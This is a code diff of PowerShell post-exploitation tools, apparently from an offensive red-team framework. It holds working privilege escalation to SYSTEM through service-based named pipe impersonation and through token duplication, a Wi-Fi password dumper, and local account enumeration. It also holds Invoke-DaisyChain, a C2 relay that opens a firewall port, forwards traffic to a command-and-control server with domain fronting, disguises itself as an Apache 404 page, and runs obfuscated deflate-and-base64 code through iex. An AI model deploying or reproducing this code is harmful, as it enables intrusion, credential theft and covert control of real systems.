||||
# 0xF003F = SC_MANAGER_ALL_ACCESS
|
||||
# 0x10 = SERVICE_WIN32_OWN_PROCESS
|
||||
# 0x3 = SERVICE_DEMAND_START
|
||||
# 0x1 = SERVICE_ERROR_NORMAL
|
||||
Write-Verbose "Creating new service: '$ServiceName'"
|
||||
try {
|
||||
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
|
||||
$err = $GetLastError.Invoke()
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Error creating service : $_"
|
||||
$ServiceHandle = 0
|
||||
}
|
||||
Write-Verbose "CreateServiceA Handle: $ServiceHandle"
|
||||
|
||||
if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
|
||||
$Success = $True
|
||||
Write-Verbose "Service successfully created"
|
||||
|
||||
# Step 3 - CloseServiceHandle() for the service handle
|
||||
Write-Verbose "Closing service handle"
|
||||
$Null = $CloseServiceHandle.Invoke($ServiceHandle)
|
||||
|
||||
# Step 4 - OpenService()
|
||||
Write-Verbose "Opening the service '$ServiceName'"
|
||||
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
|
||||
Write-Verbose "OpenServiceA handle: $ServiceHandle"
|
||||
|
||||
if ($ServiceHandle -and ($ServiceHandle -ne 0)){
|
||||
|
||||
# Step 5 - StartService()
|
||||
Write-Verbose "Starting the service"
|
||||
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
|
||||
$err = $GetLastError.Invoke()
|
||||
|
||||
# if we successfully started the service, let it breathe and then delete it
|
||||
if ($val -ne 0){
|
||||
Write-Verbose "Service successfully started"
|
||||
# breathe for a second
|
||||
Start-Sleep -s 1
|
||||
}
|
||||
else{
|
||||
if ($err -eq 1053){
|
||||
Write-Verbose "Command didn't respond to start"
|
||||
}
|
||||
else{
|
||||
Write-Warning "StartService failed, LastError: $err"
|
||||
}
|
||||
# breathe for a second
|
||||
Start-Sleep -s 1
|
||||
}
|
||||
|
||||
# start cleanup
|
||||
# Step 6 - DeleteService()
|
||||
Write-Verbose "Deleting the service '$ServiceName'"
|
||||
$val = $DeleteService.invoke($ServiceHandle)
|
||||
$err = $GetLastError.Invoke()
|
||||
|
||||
if ($val -eq 0){
|
||||
Write-Warning "DeleteService failed, LastError: $err"
|
||||
}
|
||||
else{
|
||||
Write-Verbose "Service successfully deleted"
|
||||
}
|
||||
|
||||
# Step 7 - CloseServiceHandle() for the service handle
|
||||
Write-Verbose "Closing the service handle"
|
||||
$val = $CloseServiceHandle.Invoke($ServiceHandle)
|
||||
Write-Verbose "Service handle closed off"
|
||||
}
|
||||
else {
|
||||
Write-Warning "[!] OpenServiceA failed, LastError: $err"
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
Write-Warning "[!] CreateService failed, LastError: $err"
|
||||
}
|
||||
|
||||
# final cleanup - close off the manager handle
|
||||
Write-Verbose "Closing the manager handle"
|
||||
$Null = $CloseServiceHandle.Invoke($ManagerHandle)
|
||||
}
|
||||
else {
|
||||
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
|
||||
Write-Warning "[!] OpenSCManager failed, LastError: $err"
|
||||
}
|
||||
|
||||
if($Success) {
|
||||
Write-Verbose "Waiting for pipe connection"
|
||||
$Pipe.WaitForConnection()
|
||||
|
||||
$Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
|
||||
|
||||
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
|
||||
Write-Verbose "ImpersonateNamedPipeClient: $Out"
|
||||
}
|
||||
|
||||
# clocse off the named pipe
|
||||
$Pipe.Dispose()
|
||||
}
|
||||
|
||||
# performs token duplication to elevate to SYSTEM
|
||||
# needs SeDebugPrivilege
|
||||
# written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
|
||||
Function Local:Get-SystemToken {
|
||||
[CmdletBinding()] param()
|
||||
|
||||
$DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
|
||||
$AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
|
||||
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
|
||||
|
||||
$TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
|
||||
$TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
|
||||
|
||||
$LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
|
||||
$LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
|
||||
$LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
|
||||
$LuidStruct = $LuidTypeBuilder.CreateType()
|
||||
|
||||
$Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
|
||||
$Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
|
||||
$Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
|
||||
$Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
|
||||
|
||||
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
|
||||
$ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
|
||||
$FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
|
||||
|
||||
$TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
|
||||
$TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
|
||||
$PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
|
||||
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
|
||||
$PrivilegesField.SetCustomAttribute($AttribBuilder)
|
||||
$TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
|
||||
|
||||
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
|
||||
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
|
||||
'advapi32.dll',
|
||||
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
|
||||
@([Bool] $True)
|
||||
)
|
||||
|
||||
$AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
|
||||
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
|
||||
'kernel32.dll',
|
||||
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
|
||||
@([Bool] $True)
|
||||
)
|
||||
|
||||
$Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'OpenProcess',
|
||||
'kernel32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[IntPtr],
|
||||
@([UInt32], [Bool], [UInt32]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder2)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'CloseHandle',
|
||||
'kernel32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder2)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'DuplicateToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'SetThreadToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'OpenProcessToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'LookupPrivilegeValue',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([String], [String], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'AdjustTokenPrivileges',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32Methods = $Win32TypeBuilder.CreateType()
|
||||
|
||||
$Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'}
|
||||
$GetCurrentProcess = $Win32Native.GetMethod(
|
||||
'GetCurrentProcess',
|
||||
[Reflection.BindingFlags] 'NonPublic, Static'
|
||||
)
|
||||
|
||||
$SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
|
||||
$STANDARD_RIGHTS_READ = 0x00020000
|
||||
$TOKEN_ASSIGN_PRIMARY = 0x00000001
|
||||
$TOKEN_DUPLICATE = 0x00000002
|
||||
$TOKEN_IMPERSONATE = 0x00000004
|
||||
$TOKEN_QUERY = 0x00000008
|
||||
$TOKEN_QUERY_SOURCE = 0x00000010
|
||||
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
|
||||
$TOKEN_ADJUST_GROUPS = 0x00000040
|
||||
$TOKEN_ADJUST_DEFAULT = 0x00000080
|
||||
$TOKEN_ADJUST_SESSIONID = 0x00000100
|
||||
$TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
|
||||
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
|
||||
$TOKEN_ASSIGN_PRIMARY -bor
|
||||
$TOKEN_DUPLICATE -bor
|
||||
$TOKEN_IMPERSONATE -bor
|
||||
$TOKEN_QUERY -bor
|
||||
$TOKEN_QUERY_SOURCE -bor
|
||||
$TOKEN_ADJUST_PRIVILEGES -bor
|
||||
$TOKEN_ADJUST_GROUPS -bor
|
||||
$TOKEN_ADJUST_DEFAULT -bor
|
||||
$TOKEN_ADJUST_SESSIONID
|
||||
|
||||
[long]$Luid = 0
|
||||
|
||||
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
|
||||
$tokPriv1Luid.Count = 1
|
||||
$tokPriv1Luid.Luid = $Luid
|
||||
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
|
||||
|
||||
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
|
||||
|
||||
$htoken = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
|
||||
|
||||
$tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
|
||||
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
|
||||
|
||||
if(-not($RetVal)) {
|
||||
Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
|
||||
}
|
||||
|
||||
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
|
||||
|
||||
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
|
||||
try {
|
||||
$OwnerInfo = $_.GetOwner()
|
||||
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
|
||||
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
|
||||
|
||||
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
|
||||
$Process = Get-Process -Id $_.ProcessId
|
||||
|
||||
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
|
||||
if ($Handle) {
|
||||
$Handle
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {}
|
||||
} | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1
|
||||
|
||||
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
|
||||
Write-Error 'Unable to obtain a handle to a system process.'
|
||||
}
|
||||
else {
|
||||
[IntPtr]$SystemToken = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
Write-Verbose "OpenProcessToken result: $RetVal"
|
||||
Write-Verbose "OpenProcessToken result: $LastError"
|
||||
|
||||
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
Write-Verbose "DuplicateToken result: $LastError"
|
||||
|
||||
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
if(-not($RetVal)) {
|
||||
Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
|
||||
}
|
||||
|
||||
Write-Verbose "SetThreadToken result: $LastError"
|
||||
$null = $Win32Methods::CloseHandle($Handle)
|
||||
}
|
||||
}
|
||||
|
||||
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
|
||||
Write-Error "Script must be run as administrator" -ErrorAction Stop
|
||||
}
|
||||
|
||||
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
|
||||
Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
|
||||
}
|
||||
|
||||
if($PSBoundParameters['WhoAmI']) {
|
||||
Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
return
|
||||
}
|
||||
|
||||
elseif($PSBoundParameters['RevToSelf']) {
|
||||
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
|
||||
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
|
||||
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
|
||||
|
||||
$RetVal = $RevertToSelf.Invoke()
|
||||
if($RetVal) {
|
||||
Write-Output "RevertToSelf successful."
|
||||
}
|
||||
else {
|
||||
Write-Warning "RevertToSelf failed."
|
||||
}
|
||||
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
}
|
||||
|
||||
else {
|
||||
if($Technique -eq 'NamedPipe') {
|
||||
# if we're using named pipe impersonation with a service
|
||||
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
|
||||
}
|
||||
else {
|
||||
# otherwise use token duplication
|
||||
Get-SystemToken
|
||||
}
|
||||
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,43 @@
|
|||
function Get-UserInfo
|
||||
{
|
||||
Get-WmiObject win32_operatingsystem | select csname, @{LABEL='LastBootUpTime';EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}}
|
||||
$arr = @()
|
||||
$Users = Get-WmiObject -Query "Select * from Win32_UserAccount Where LocalAccount = True"
|
||||
echo ""
|
||||
echo "======================"
|
||||
echo "Local Users"
|
||||
echo "======================"
|
||||
$Users.Name
|
||||
$GroupNames = Get-WmiObject -Query "SELECT * FROM Win32_Group Where LocalAccount = True"
|
||||
echo ""
|
||||
echo "======================"
|
||||
echo "Local Groups"
|
||||
echo "======================"
|
||||
$GroupNames.Name
|
||||
|
||||
$hostname = (Get-WmiObject -Class Win32_ComputerSystem).Name
|
||||
echo ""
|
||||
echo "======================"
|
||||
echo "Members of Local Groups"
|
||||
echo "======================"
|
||||
foreach ($Group in $GroupNames) {
|
||||
$GroupName = $Group.Name
|
||||
$wmi = Get-WmiObject -Query "SELECT * FROM Win32_GroupUser WHERE GroupComponent=`"Win32_Group.Domain='$Hostname',Name='$GroupName'`""
|
||||
|
||||
if ($wmi -ne $null)
|
||||
{
|
||||
foreach ($item in $wmi)
|
||||
{
|
||||
$data = $item.PartComponent -split "\,"
|
||||
$domain = ($data[0] -split "=")[1]
|
||||
$name = ($data[1] -split "=")[1]
|
||||
$arr += ("$domain\$name").Replace("""","")
|
||||
[Array]::Sort($arr)
|
||||
}
|
||||
}
|
||||
echo ""
|
||||
echo $GroupName
|
||||
echo "======================"
|
||||
echo $arr
|
||||
}
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
function Get-WLANPass
|
||||
{
|
||||
<#
|
||||
.Synopsis
|
||||
Retrives password from stored wlan profiles
|
||||
.DESCRIPTION
|
||||
Retrives password from stored wlan profiles
|
||||
.EXAMPLE
|
||||
PS C:\> Get-WLANPass
|
||||
Output stored WLAN Profile passwords
|
||||
#>
|
||||
$netsh = (netsh wlan show profiles)
|
||||
$netsh | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize
|
||||
}
|
|
@ -0,0 +1,244 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Invoke-DaisyChain
|
||||
|
||||
Ben Turner @benpturner
|
||||
|
||||
.DESCRIPTION
|
||||
PS C:\> Invoke-DaisyChain -daisyserver http://192.168.1.1 -port 80 -c2port 80 -c2server http://c2.goog.com -domfront aaa.clou.com -proxyurl http://10.0.0.1:8080 -proxyuser dom\test -proxypassword pass -localhost (optional if low level user)
|
||||
.EXAMPLE
|
||||
PS C:\> Invoke-DaisyChain -daisyserver http://192.168.1.1 -port 80 -c2port 80 -c2server http://c2.goog.com -domfront aaa.clou.com -proxyurl http://10.0.0.1:8080
|
||||
.EXAMPLE
|
||||
PS C:\> Invoke-DaisyChain -daisyserver http://10.150.10.20 -port 8888 -c2port 8888 -c2server http://10.150.10.10 -URLs '"pwned/test/123","12345/drive/home.php"'
|
||||
#>
|
||||
$firewallName = ""
|
||||
$serverPort = ""
|
||||
function Invoke-DaisyChain {
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$true)][string]$port,
|
||||
[Parameter(Mandatory=$true)][string]$daisyserver,
|
||||
[Parameter(Mandatory=$true)][string]$c2server,
|
||||
[Parameter(Mandatory=$true)][string]$c2port,
|
||||
[Parameter(Mandatory=$true)][string]$URLs,
|
||||
[Parameter(Mandatory=$false)][switch]$Localhost,
|
||||
[Parameter(Mandatory=$false)][switch]$NoFWRule,
|
||||
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$domfront,
|
||||
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxyurl,
|
||||
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxyuser,
|
||||
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxypassword
|
||||
)
|
||||
$fw = Get-FirewallName -Length 15
|
||||
$script:firewallName = $fw
|
||||
$firewallName = $fw
|
||||
|
||||
if ($Localhost.IsPresent){
|
||||
echo "[+] Using localhost parameter"
|
||||
$HTTPServer = "localhost"
|
||||
$daisyserver = "http://localhost"
|
||||
$NoFWRule = $true
|
||||
} else {
|
||||
$HTTPServer = "+"
|
||||
}
|
||||
|
||||
$script:serverPort = $port
|
||||
if ($NoFWRule.IsPresent) {
|
||||
$fwcmd = "echo `"No firewall rule added`""
|
||||
}else {
|
||||
echo "Adding firewall rule name: $firewallName for TCP port $port"
|
||||
echo "Netsh.exe advfirewall firewall add rule name=`"$firewallName`" dir=in action=allow protocol=TCP localport=$port enable=yes"
|
||||
$fwcmd = "Netsh.exe advfirewall firewall add rule name=`"$firewallName`" dir=in action=allow protocol=TCP localport=$port enable=yes"
|
||||
}
|
||||
|
||||
$fdsf = @"
|
||||
`$username = "$proxyuser"
|
||||
`$password = "$proxypassword"
|
||||
`$proxyurl = "$proxyurl"
|
||||
`$domainfrontheader = "$domfront"
|
||||
`$serverport = '$port'
|
||||
`$Server = "${c2server}:${c2port}"
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
|
||||
function Get-Webclient (`$Cookie) {
|
||||
`$username = `$username
|
||||
`$password = `$password
|
||||
`$proxyurl = `$proxyurl
|
||||
`$wc = New-Object System.Net.WebClient;
|
||||
`$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko")
|
||||
`$wc.Headers.Add("Referer","")
|
||||
`$h=`$domainfrontheader
|
||||
if (`$h) {`$wc.Headers.Add("Host",`$h)}
|
||||
if (`$proxyurl) {
|
||||
`$wp = New-Object System.Net.WebProxy(`$proxyurl,`$true);
|
||||
`$wc.Proxy = `$wp;
|
||||
}
|
||||
if (`$username -and `$password) {
|
||||
`$PSS = ConvertTo-SecureString `$password -AsPlainText -Force;
|
||||
`$getcreds = new-object system.management.automation.PSCredential `$username,`$PSS;
|
||||
`$wp.Credentials = `$getcreds;
|
||||
} else {
|
||||
`$wc.UseDefaultCredentials = `$true;
|
||||
}
|
||||
if (`$cookie) {
|
||||
`$wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=`$Cookie")
|
||||
}
|
||||
`$wc
|
||||
}
|
||||
`$httpresponse = '
|
||||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||
<html><head>
|
||||
<title>404 Not Found</title>
|
||||
</head><body>
|
||||
<h1>Not Found</h1>
|
||||
<p>The requested URL/s was not found on this server.</p>
|
||||
<hr>
|
||||
<address>Apache (Debian) Server</address>
|
||||
</body></html>
|
||||
'
|
||||
`$URLS = $($URLS)
|
||||
`$listener = New-Object -TypeName System.Net.HttpListener
|
||||
`$listener.Prefixes.Add("http://$($HTTPServer):`$serverport/")
|
||||
`$listener.Start()
|
||||
echo "started http server"
|
||||
while (`$listener.IsListening)
|
||||
{
|
||||
if (`$kill.log -eq 2) {`$listener.Stop();exit}
|
||||
`$message = `$null
|
||||
`$context = `$listener.GetContext() # blocks until request is received
|
||||
`$request = `$context.Request
|
||||
`$response = `$context.Response
|
||||
`$url = `$request.RawUrl
|
||||
`$newurl = `$url -replace "\?", ""
|
||||
`$method = `$request.HttpMethod
|
||||
if (`$null -ne (`$URLS | ? { `$newurl -match `$_ }) ) {
|
||||
`$cookiesin = `$request.Cookies -replace 'SessionID=', ''
|
||||
`$responseStream = `$request.InputStream
|
||||
`$targetStream = New-Object -TypeName System.IO.MemoryStream
|
||||
`$buffer = new-object byte[] 10KB
|
||||
`$count = `$responseStream.Read(`$buffer,0,`$buffer.length)
|
||||
`$downloadedBytes = `$count
|
||||
while (`$count -gt 0)
|
||||
{
|
||||
`$targetStream.Write(`$buffer, 0, `$count)
|
||||
`$count = `$responseStream.Read(`$buffer,0,`$buffer.length)
|
||||
`$downloadedBytes = `$downloadedBytes + `$count
|
||||
}
|
||||
`$len = `$targetStream.length
|
||||
`$size = `$len + 1
|
||||
`$size2 = `$len -1
|
||||
`$buffer = New-Object byte[] `$size
|
||||
`$targetStream.Position = 0
|
||||
`$targetStream.Read(`$buffer, 0, `$targetStream.Length)|Out-null
|
||||
`$buffer = `$buffer[0..`$size2]
|
||||
`$targetStream.Flush()
|
||||
`$targetStream.Close()
|
||||
`$targetStream.Dispose()
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
|
||||
if (`$method -eq "GET") {
|
||||
`$message = (Get-Webclient -Cookie `$cookiesin).DownloadString("`$(`$Server)`$(`$url)")
|
||||
}
|
||||
if (`$method -eq "POST") {
|
||||
`$message = (Get-Webclient -Cookie `$cookiesin).UploadData("`$(`$Server)`$(`$url)", `$buffer)
|
||||
}
|
||||
}
|
||||
if (!`$message) {
|
||||
`$message = `$httpresponse
|
||||
echo `$request
|
||||
}
|
||||
[byte[]] `$buffer = [System.Text.Encoding]::UTF8.GetBytes(`$message)
|
||||
`$response.ContentLength64 = `$buffer.length
|
||||
`$response.StatusCode = 200
|
||||
`$response.Headers.Add("CacheControl", "no-cache, no-store, must-revalidate")
|
||||
`$response.Headers.Add("Pragma", "no-cache")
|
||||
`$response.Headers.Add("Expires", 0)
|
||||
`$output = `$response.OutputStream
|
||||
`$output.Write(`$buffer, 0, `$buffer.length)
|
||||
`$output.Close()
|
||||
`$message = `$null
|
||||
}
|
||||
`$listener.Stop()
|
||||
"@
|
||||
|
||||
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($fdsf)
|
||||
$CompressedStream = New-Object IO.MemoryStream
|
||||
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
|
||||
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
|
||||
$DeflateStream.Dispose()
|
||||
$CompressedScriptBytes = $CompressedStream.ToArray()
|
||||
$CompressedStream.Dispose()
|
||||
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
|
||||
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
|
||||
|
||||
$t = Invoke-Netstat| ? {$_.ListeningPort -eq $port}
|
||||
$global:kill = [HashTable]::Synchronized(@{})
|
||||
$kill.log = "1"
|
||||
|
||||
$fwcmd|iex
|
||||
|
||||
if (!$t) {
|
||||
if (Test-Administrator) {
|
||||
$Runspace = [RunspaceFactory]::CreateRunspace()
|
||||
$Runspace.Open()
|
||||
$Runspace.SessionStateProxy.SetVariable('Kill',$Kill)
|
||||
$Jobs = @()
|
||||
$Job = [powershell]::Create().AddScript($NewScript)
|
||||
$Job.Runspace = $Runspace
|
||||
$Job.BeginInvoke() | Out-Null
|
||||
echo ""
|
||||
echo "[+] Running DaisyServer as Administrator:"
|
||||
} else {
|
||||
$Runspace = [RunspaceFactory]::CreateRunspace()
|
||||
$Runspace.Open()
|
||||
$Runspace.SessionStateProxy.SetVariable('Kill',$Kill)
|
||||
$Jobs = @()
|
||||
$Job = [powershell]::Create().AddScript($NewScript)
|
||||
$Job.Runspace = $Runspace
|
||||
$Job.BeginInvoke() | Out-Null
|
||||
echo ""
|
||||
echo "[+] Running DaisyServer as Standard User, must use -localhost flag for this to work:"
|
||||
}
|
||||
|
||||
echo "[+] To stop the Daisy Server, Stop-Daisy current process"
|
||||
}
|
||||
|
||||
}
|
||||
function Stop-Daisy {
|
||||
$kill.log = 2
|
||||
Netsh.exe advfirewall firewall del rule name="$firewallName"
|
||||
(new-object system.net.webclient).downloadstring("http://localhost:$serverPort")
|
||||
}
|
||||
function Get-FirewallName
|
||||
{
|
||||
param (
|
||||
[int]$Length
|
||||
)
|
||||
$set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray()
|
||||
$result = ''
|
||||
